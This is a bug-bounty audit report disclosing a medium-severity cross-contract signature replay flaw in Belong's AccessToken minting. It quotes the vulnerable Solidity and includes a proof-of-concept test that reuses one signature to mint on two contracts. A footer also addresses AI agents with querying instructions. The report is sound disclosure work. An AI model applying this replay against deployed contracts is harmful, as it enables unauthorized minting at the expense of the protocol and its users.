# 57388 sc medium cross contract signature replay because verifying contract is not included in the digest **Submitted on Oct 25th 2025 at 18:07:06 UTC by @kaysoft for** [**Audit Comp | Belong**](https://immunefi.com/audit-competition/audit-comp-belong) * **Report ID:** #57388 * **Report Type:** Smart Contract * **Report severity:** Medium * **Target:** * **Impacts:** * Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol) ## Description ## Brief/Intro A user can use just one signature to call `mintStaticPrice(...)` on multiple AccessTokens to mint NFTs. This is because the verifying contract is not included in the signed digest. ## Vulnerability Details Signature verification on the codebase is not EIP-712 compliant because it fails to include the verifying contract (and other contextual data) in the digest that is signed. Even the `SignatureCheckerLib.sol` that `isValidSignatureNow(...)` uses for signature verification has a warning at the top: > Use EIP-712 for the digest to prevent replay attacks across different chains and contracts. Currently signature verification includes blockchain ids in the digest and verification which will prevent cross-chain replay attacks but does not include the particular contract that will verify the signature in the signed digest. This allows any user with a signature meant for a particular AccessToken to be able to mint on other AccessTokens that the user does not have signatures for. There will be multiple AccessTokens and a signature is supposed to be meant for a particular accessToken since its token URI and other metadata are unique to the access token, but with cross-contract signature replay it is possible to reuse one signature across different AccessTokens. Example from the codebase: File: AccessToken.sol ```solidity function mintStaticPrice( address receiver, StaticPriceParameters[] calldata paramsArray, address expectedPayingToken, uint256 expectedMintPrice ) external payable expectedTokenCheck(expectedPayingToken) nonReentrant { Factory.FactoryParameters memory factoryParameters = parameters.factory.nftFactoryParameters(); require(paramsArray.length <= factoryParameters.maxArraySize, WrongArraySize()); AccessTokenInfo memory info = parameters.info; uint256 amountToPay; for (uint256 i; i < paramsArray.length; ++i) { factoryParameters.signerAddress.checkStaticPriceParameters(receiver, paramsArray[i]); uint256 price = paramsArray[i].whitelisted ? info.whitelistMintPrice : info.mintPrice; unchecked { amountToPay += price; } _baseMint(paramsArray[i].tokenId, receiver, paramsArray[i].tokenUri); } require(_pay(amountToPay, expectedPayingToken) == expectedMintPrice, PriceChanged(expectedMintPrice)); } ``` As can be seen below, the verifying contract is not included in the digest which makes a single signature usable on multiple different AccessTokens. File: SignatureVerifyer.sol ```solidity function checkStaticPriceParameters(address signer, address receiver, StaticPriceParameters calldata params) external view { require( signer.isValidSignatureNow(//@audit verifying contract not included in digest keccak256( abi.encodePacked(receiver, params.tokenId, params.tokenUri, params.whitelisted, block.chainid) ), params.signature ), InvalidSignature() ); } ``` ## Impact Details A user with a signature to mint from one AccessToken with the `mintStaticPrice(...)` function can use the same signature to mint from other AccessTokens. ## References Consider ensuring signature verification is EIP-712 compliant as warned in `SignatureCheckerLib.sol`. > Use EIP-712 for the digest to prevent replay attacks across different chains and contracts. ## Proof of Concept {% stepper %} {% step %} ### Proof of Concept (setup & deploy) 1. Copy and paste the test below to the `accessToken.test.ts` file in the `'Withdraw test'` test suite. 2. Run `yarn test` The test demonstrates that a user can use a signature meant for `accessTokenEth1` to mint an NFT from both `accessTokenEth1` and `accessTokenEth2`. {% endstep %} {% step %} ### Proof of Concept (test body) ```solidity it('Cross contract signature replay attack:kaysoft', async () => { const { creator, signer, factory, owner, referral, charlie, referralCode } = await loadFixture( fixture, ); //1. Produce accessTokenEth1 AccessTokenEthMetadata.name += '007'; const { accessToken: accessTokenEth1, royaltiesReceiver: royaltiesReceiver1 } = await deployAccessToken( AccessTokenEthMetadata,//@audit same metadata used for hashed salt ethPurchasePrice, ethPurchasePrice.div(2), signer, charlie, factory, ethers.constants.HashZero, ); //2. Produce accessTokenEth2 AccessTokenEthMetadata.name += '123'; const { accessToken: accessTokenEth2, royaltiesReceiver: royaltiesReceiver2 } = await deployAccessToken( AccessTokenEthMetadata, ethPurchasePrice, ethPurchasePrice.div(2), signer, creator, factory, ethers.constants.HashZero, ) //3. Prepare the message for accessTokenEth1 let message = EthCrypto.hash.keccak256([ { type: 'address', value: creator.address }, { type: 'uint256', value: 0 }, { type: 'string', value: NFT_721_BASE_URI }, { type: 'bool', value: true }, { type: 'uint256', value: chainId }, ]); //4. Sign message for just accessTokenEth1 let signature = EthCrypto.sign(signer.privateKey, message); //5. User calls mintStaticPrice() on accessTokenEth1 with signature await accessTokenEth1.connect(creator).mintStaticPrice( creator.address, [ { tokenId: 0, tokenUri: NFT_721_BASE_URI, whitelisted: true, signature, } as StaticPriceParametersStruct, ], NATIVE_CURRENCY_ADDRESS, ethPurchasePrice.div(2), { value: ethPurchasePrice.div(2), }, ); //6. User calls mintStaticPrice() on accessTokenEth2 with same signature meant for accessTokenEth1 await accessTokenEth2.connect(creator).mintStaticPrice( creator.address, [ { tokenId: 0, tokenUri: NFT_721_BASE_URI, whitelisted: true, signature, } as StaticPriceParametersStruct, ], NATIVE_CURRENCY_ADDRESS, ethPurchasePrice.div(2), { value: ethPurchasePrice.div(2), }, ); //7. Now creator owns NFTs with id 0 on both accessTokenEth1 and accessTokenEth2 //Gotten with a single signature meant for only accessTokenEth1 expect(await accessTokenEth1.ownerOf(0)).to.be.equal(creator.address); expect(await accessTokenEth2.ownerOf(0)).to.be.equal(creator.address); }) ``` {% endstep %} {% endstepper %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://reports.immunefi.com/belong/57388-sc-medium-cross-contract-signature-replay-because-verifying-contract-is-not-included-in-the-di.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. 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